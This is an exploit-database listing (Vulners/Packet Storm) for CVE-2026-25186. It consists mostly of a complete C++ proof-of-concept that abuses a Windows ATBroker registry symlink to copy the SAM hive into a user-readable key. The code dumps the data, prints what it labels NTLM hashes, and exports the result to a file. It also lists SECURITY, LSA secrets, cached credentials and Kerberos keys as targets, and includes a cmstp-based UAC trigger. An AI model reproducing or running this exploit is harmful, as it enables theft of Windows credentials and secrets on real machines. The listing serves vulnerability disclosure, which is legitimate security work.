Lucene search
K

📄 Microsoft Windows TBroker Registry Symlink Information Disclosure

🗓️ 28 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 65 Views

PoC showing information disclosure in Windows ATBroker via unsafe registry symlink handling.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-25186
10 Mar 202617:04
attackerkb
Circl
CVE-2026-25186
10 Mar 202616:57
circl
CNNVD
Microsoft Windows 信息泄露漏洞
10 Mar 202600:00
cnnvd
CVE
CVE-2026-25186
10 Mar 202617:04
cve
Cvelist
CVE-2026-25186 Windows Accessibility Infrastructure (ATBroker.exe) Information Disclosure Vulnerability
10 Mar 202617:04
cvelist
EUVD
EUVD-2026-10657
10 Mar 202618:31
euvd
EUVD
EUVD-2026-10658
10 Mar 202618:31
euvd
Japan Vulnerability Notes
Security information for Hitachi Disk Array Systems
25 May 202602:39
jvn
Microsoft KB
March 10, 2026—KB5078734 (OS Build 25398.2207)
10 Mar 202614:00
mskb
Microsoft KB
March 10, 2026—Hotpatch KB5078736 (OS Build 26100.32463)
10 Mar 202614:00
mskb
Rows per page
==================================================================================================================================
    | # Title     : Windows TBroker Registry Symlink Information Disclosure                                                          |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : No standalone download available                                                                                 |
    ==================================================================================================================================
    
    [+] Summary    : This code demonstrates a proof-of-concept attack targeting Windows ATBroker (Assistive Technology Broker) to achieve sensitive information disclosure through unsafe Registry handling.
    
    [+] POC        :  
    
    #include <Windows.h>
    #include <comdef.h>
    #include <stdio.h>
    #include <vector>
    #include <string>
    #include <map>
    #include <thread>
    #include <chrono>
    #include <sddl.h>
    #include <winternl.h>
    #include <aclapi.h>
    #pragma comment(lib, "advapi32.lib")
    #pragma comment(lib, "ntdll.lib")
    
    #define INTERNAL_REG_OPTION_CREATE_LINK (0x00000002L)
    #define INTERNAL_REG_OPTION_OPEN_LINK (0x00000100L)
    
    extern "C" {
        NTSTATUS NTAPI NtCreateKey(
            PHANDLE KeyHandle,
            ACCESS_MASK DesiredAccess,
            POBJECT_ATTRIBUTES ObjectAttributes,
            ULONG TitleIndex,
            PUNICODE_STRING Class,
            ULONG CreateOptions,
            PULONG Disposition
        );
    
        NTSTATUS NTAPI NtOpenKeyEx(
            PHANDLE KeyHandle,
            ACCESS_MASK DesiredAccess,
            POBJECT_ATTRIBUTES ObjectAttributes,
            ULONG OpenOptions
        );
    
        NTSTATUS NTAPI NtSetValueKey(
            HANDLE KeyHandle,
            PUNICODE_STRING ValueName,
            ULONG TitleIndex,
            ULONG Type,
            PVOID Data,
            ULONG DataSize
        );
    
        NTSTATUS NTAPI NtDeleteKey(HANDLE KeyHandle);
        NTSTATUS NTAPI RtlNtStatusToDosError(NTSTATUS Status);
        VOID NTAPI RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString);
    }
    class RegistryUtils {
    public:
        static std::wstring GetUserSid() {
            HANDLE hToken = nullptr;
            if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
                return L"";
    
            DWORD dwSize = 0;
            GetTokenInformation(hToken, TokenUser, nullptr, 0, &dwSize);       
            std::vector<BYTE> buffer(dwSize);
            if (!GetTokenInformation(hToken, TokenUser, buffer.data(), dwSize, &dwSize)) {
                CloseHandle(hToken);
                return L"";
            }
    
            PTOKEN_USER pTokenUser = reinterpret_cast<PTOKEN_USER>(buffer.data());
            LPWSTR lpSid = nullptr;
            
            if (!ConvertSidToStringSid(pTokenUser->User.Sid, &lpSid)) {
                CloseHandle(hToken);
                return L"";
            }
    
            std::wstring sid(lpSid);
            LocalFree(lpSid);
            CloseHandle(hToken);
            
            return sid;
        }
    
        static std::wstring RegPathToNative(const std::wstring& path) {
            std::wstring regpath = L"\\Registry\\";
    
            if (path.empty() || path[0] == L'\\')
                return path;
    
            if (path.find(L"HKLM\\") == 0) {
                return regpath + L"Machine\\" + path.substr(5);
            }
            else if (path.find(L"HKU\\") == 0) {
                return regpath + L"User\\" + path.substr(4);
            }
            else if (path.find(L"HKCU\\") == 0) {
                return regpath + L"User\\" + GetUserSid() + L"\\" + path.substr(5);
            }
            
            return L"";
        }
    
        static bool CreateRegistrySymlink(const std::wstring& symlink, const std::wstring& target, bool isVolatile) {
            std::wstring nativeSymlink = RegPathToNative(symlink);
            std::wstring nativeTarget = RegPathToNative(target);
    
            if (nativeSymlink.empty() || nativeTarget.empty())
                return false;
    
            printf("[*] Creating symlink: %ls -> %ls\n", nativeSymlink.c_str(), nativeTarget.c_str());
    
            UNICODE_STRING name;
            RtlInitUnicodeString(&name, nativeSymlink.c_str());
    
            OBJECT_ATTRIBUTES objAttr;
            InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
    
            HANDLE hKey = nullptr;
            ULONG disposition = 0;
            
            ULONG options = INTERNAL_REG_OPTION_CREATE_LINK | 
                            (isVolatile ? REG_OPTION_VOLATILE : REG_OPTION_NON_VOLATILE);
    
            NTSTATUS status = NtCreateKey(&hKey, KEY_ALL_ACCESS, &objAttr, 0, nullptr, options, &disposition);
            
            if (status != 0) {
                SetLastError(RtlNtStatusToDosError(status));
                return false;
            }
    
            UNICODE_STRING valueName;
            RtlInitUnicodeString(&valueName, L"SymbolicLinkValue");
    
            status = NtSetValueKey(hKey, &valueName, 0, REG_LINK, 
                                   (PVOID)nativeTarget.c_str(), 
                                   nativeTarget.length() * sizeof(WCHAR));
            
            CloseHandle(hKey);
            
            if (status != 0) {
                SetLastError(RtlNtStatusToDosError(status));
                return false;
            }
    
            return true;
        }
    
        static bool DeleteRegistrySymlink(const std::wstring& symlink) {
            std::wstring nativeSymlink = RegPathToNative(symlink);
            if (nativeSymlink.empty())
                return false;
    
            UNICODE_STRING name;
            RtlInitUnicodeString(&name, nativeSymlink.c_str());
    
            OBJECT_ATTRIBUTES objAttr;
            InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE | OBJ_OPENLINK, nullptr, nullptr);
    
            HANDLE hKey = nullptr;
            NTSTATUS status = NtOpenKeyEx(&hKey, DELETE, &objAttr, 0);
            
            if (status != 0) {
                SetLastError(RtlNtStatusToDosError(status));
                return false;
            }
    
            status = NtDeleteKey(hKey);
            CloseHandle(hKey);
    
            if (status != 0) {
                SetLastError(RtlNtStatusToDosError(status));
                return false;
            }
    
            return true;
        }
    };
    class DataExtractor {
    public:
        struct RegistryValue {
            std::wstring name;
            DWORD type;
            std::vector<BYTE> data;
        };
    
        static std::vector<RegistryValue> ExtractRegistryValues(HKEY rootKey, const std::wstring& subKey) {
            std::vector<RegistryValue> values;
            HKEY hKey = nullptr;
            
            if (RegOpenKeyExW(rootKey, subKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
                printf("[!] Failed to open key: %ls\n", subKey.c_str());
                return values;
            }
    
            DWORD index = 0;
            WCHAR valueName[256];
            DWORD valueNameSize = 256;
            DWORD valueType = 0;
            DWORD dataSize = 0;
    
            while (RegEnumValueW(hKey, index++, valueName, &valueNameSize, nullptr, 
                                  &valueType, nullptr, &dataSize) == ERROR_SUCCESS) {
                
                std::vector<BYTE> data(dataSize);
                if (RegEnumValueW(hKey, index - 1, valueName, &valueNameSize, nullptr,
                                   &valueType, data.data(), &dataSize) == ERROR_SUCCESS) {
                    
                    RegistryValue val;
                    val.name = valueName;
                    val.type = valueType;
                    val.data = std::move(data);
                    values.push_back(val);
                    
                    printf("[+] Extracted value: %ls (Type: %d, Size: %d)\n", 
                           valueName, valueType, dataSize);
                }
                
                valueNameSize = 256;
                dataSize = 0;
            }
    
            RegCloseKey(hKey);
            return values;
        }
    
        static void DumpHexData(const std::vector<BYTE>& data, size_t maxLen = 256) {
            size_t len = min(data.size(), maxLen);
            for (size_t i = 0; i < len; i++) {
                printf("%02X ", data[i]);
                if ((i + 1) % 16 == 0) printf("\n");
                else if ((i + 1) % 8 == 0) printf(" ");
            }
            if (len < data.size()) printf("... (truncated)");
            printf("\n");
        }
    };
    class ATBrokerExploit {
    private:
        std::wstring m_sessionPath;
        std::vector<std::pair<std::wstring, std::wstring>> m_targets;
        
        void InitializeTargets() {
            m_targets = {
                {L"sam", L"\\REGISTRY\\MACHINE\\SAM\\SAM"},
                {L"security", L"\\REGISTRY\\MACHINE\\SECURITY"},
                {L"system", L"\\REGISTRY\\MACHINE\\SYSTEM"},
                {L"lsa", L"\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa"},
                {L"cached_creds", L"\\REGISTRY\\MACHINE\\SECURITY\\Cache"},
                {L"domain_cached", L"\\REGISTRY\\MACHINE\\SECURITY\\Policy\\Secrets"},
                {L"wdigest", L"\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest"},
                {L"kerberos_keys", L"\\REGISTRY\\MACHINE\\SECURITY\\Policy\\Keys"},
                {L"user_credentials", L"\\REGISTRY\\MACHINE\\SAM\\SAM\\Domains\\Account\\Users"},
            };
        }
    
        std::wstring BuildSessionPath() {
            DWORD sessionId = 0;
            ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
            
            wchar_t path[512];
            swprintf_s(path, L"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\Session%d\\ATConfig\\colorfiltering", 
                       sessionId);
            return std::wstring(path);
        }
    
        bool TriggerSecureDesktop() {
            printf("[*] Triggering UAC secure desktop...\n");
            SHELLEXECUTEINFOW sei = { sizeof(sei) };
            sei.lpVerb = L"runas";
            sei.lpFile = L"cmd.exe";
            sei.lpParameters = L"/c echo Testing > nul";
            sei.nShow = SW_HIDE;
            ShellExecuteExW(&sei);     
            printf("[+] UAC prompt should appear. Dismiss or let it timeout.\n");
            return true;
        }
    
        bool WaitForCopy() {
            printf("[*] Waiting for ATBroker to copy settings...\n");
    
            for (int i = 0; i < 30; i++) {
                Sleep(1000);
    
                HKEY hKey = nullptr;
                if (RegOpenKeyExW(HKEY_USERS, 
                                  L".DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering",
                                  0, KEY_READ, &hKey) == ERROR_SUCCESS) {
                    WCHAR valueName[256];
                    DWORD valueNameSize = 256;
                    if (RegEnumValueW(hKey, 0, valueName, &valueNameSize, nullptr, 
                                      nullptr, nullptr, nullptr) == ERROR_SUCCESS) {
                        RegCloseKey(hKey);
                        return true;
                    }
                    RegCloseKey(hKey);
                }
            }
            
            return false;
        }
    
        void ExtractAndDumpData() {
            std::wstring targetPath = L".DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering";
            
            printf("\n[*] Extracting stolen data...\n");
            auto values = DataExtractor::ExtractRegistryValues(HKEY_USERS, targetPath);
            
            if (values.empty()) {
                printf("[!] No data extracted!\n");
                return;
            }
            
            printf("\n[+] Successfully extracted %zu values!\n", values.size());
            
            for (const auto& val : values) {
                printf("\n--- Value: %ls ---\n", val.name.c_str());
                printf("Type: ");
                switch (val.type) {
                    case REG_SZ: printf("REG_SZ\n"); break;
                    case REG_BINARY: printf("REG_BINARY\n"); break;
                    case REG_DWORD: printf("REG_DWORD\n"); break;
                    case REG_QWORD: printf("REG_QWORD\n"); break;
                    case REG_MULTI_SZ: printf("REG_MULTI_SZ\n"); break;
                    default: printf("Unknown (0x%X)\n", val.type);
                }
                
                printf("Data (%zu bytes):\n", val.data.size());
                
                if (val.type == REG_SZ || val.type == REG_MULTI_SZ) {
                    wprintf(L"%ls\n", (wchar_t*)val.data.data());
                } else {
                    DataExtractor::DumpHexData(val.data);
                }
            }
        }
    
    public:
        ATBrokerExploit() {
            InitializeTargets();
        }
    
        bool Exploit() {
            printf("\n");
            printf("========================================\n");
            printf("  CVE-2026-25186 - ATBroker Exploit\n");
            printf("  Windows Information Disclosure\n");
            printf("========================================\n\n");
            m_sessionPath = BuildSessionPath();
            printf("[*] Session path: %ls\n", m_sessionPath.c_str());
    
            RegistryUtils::DeleteRegistrySymlink(m_sessionPath);
            std::wstring targetPath = m_targets[0].second;
            
            printf("\n[*] Creating malicious registry symlink...\n");
            if (!RegistryUtils::CreateRegistrySymlink(m_sessionPath, targetPath, true)) {
                printf("[!] Failed to create symlink: %d\n", GetLastError());
                return false;
            }
            printf("[+] Symlink created successfully\n");
            
            printf("\n[*] Launching assistive technology (osk.exe)...\n");
            ShellExecuteW(nullptr, L"open", L"osk.exe", L"", nullptr, SW_SHOW);
            Sleep(2000);
            printf("[*] Ensuring ATBroker is running...\n");
            STARTUPINFOW si = { sizeof(si) };
            PROCESS_INFORMATION pi = {};
            CreateProcessW(L"C:\\Windows\\System32\\ATBroker.exe", nullptr, nullptr, nullptr, 
                           FALSE, 0, nullptr, nullptr, &si, &pi);
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
            Sleep(1000);
    
            TriggerSecureDesktop();
    
            if (!WaitForCopy()) {
                printf("[!] Timeout waiting for data copy\n");
                RegistryUtils::DeleteRegistrySymlink(m_sessionPath);
                return false;
            }
            
            printf("[+] Data copied successfully!\n");
    
            ExtractAndDumpData();
    
            printf("\n[*] Cleaning up...\n");
            RegistryUtils::DeleteRegistrySymlink(m_sessionPath);
            system("taskkill /F /IM osk.exe > nul 2>&1");
            
            printf("\n[+] Exploit completed!\n");
            return true;
        }
    };
    class AdvancedATBrokerExploit : public ATBrokerExploit {
    private:
        void BypassUACForTrigger() {
           
            printf("[*] Attempting silent UAC trigger...\n");
            SHELLEXECUTEINFOW sei = { sizeof(sei) };
            sei.lpVerb = L"runas";
            sei.lpFile = L"cmstp.exe";
            sei.lpParameters = L"/au /s C:\\Windows\\System32\\cmstp.exe";
            sei.nShow = SW_HIDE;
            ShellExecuteExW(&sei);
        }
        
        void ExtractNTLMHashes() {
    
            std::wstring targetPath = L".DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering";
            
            auto values = DataExtractor::ExtractRegistryValues(HKEY_USERS, targetPath);
            
            for (const auto& val : values) {
                if (val.name == L"V" || val.name == L"F") {
                    printf("\n[!!!] Found potential credential data in %ls:\n", val.name.c_str());
    
                    if (val.data.size() > 0x9c + 16) {
                        printf("NTLM Hash: ");
                        for (int i = 0; i < 16; i++) {
                            printf("%02X", val.data[0x9c + i]);
                        }
                        printf("\n");
                    }
                }
            }
        }
    
    public:
        bool FullExploit() {
            if (!Exploit()) {
                printf("[!] Basic exploit failed, trying advanced techniques...\n");
                BypassUACForTrigger();
                Sleep(5000);
                ExtractNTLMHashes();
            }
            return true;
        }
    };
    int wmain(int argc, wchar_t* argv[]) {
    
        printf("[*] Running with limited privileges (as designed)\n");
        
        AdvancedATBrokerExploit exploit;
        
        if (exploit.FullExploit()) {
            printf("\n[+] Information disclosure successful!\n");
            printf("[*] Check .DEFAULT user hive for stolen registry data\n");
            printf("[*] Run 'regedit' and navigate to:\n");
            printf("    HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering\n");
    
            system("reg export \"HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATConfig\\colorfiltering\" stolen_data.reg /y");
            printf("[+] Data saved to stolen_data.reg\n");
            
            return 0;
        } else {
            printf("\n[!] Exploit failed\n");
            return 1;
        }
    }
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Apr 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.15.5
EPSS0.00042
SSVC
65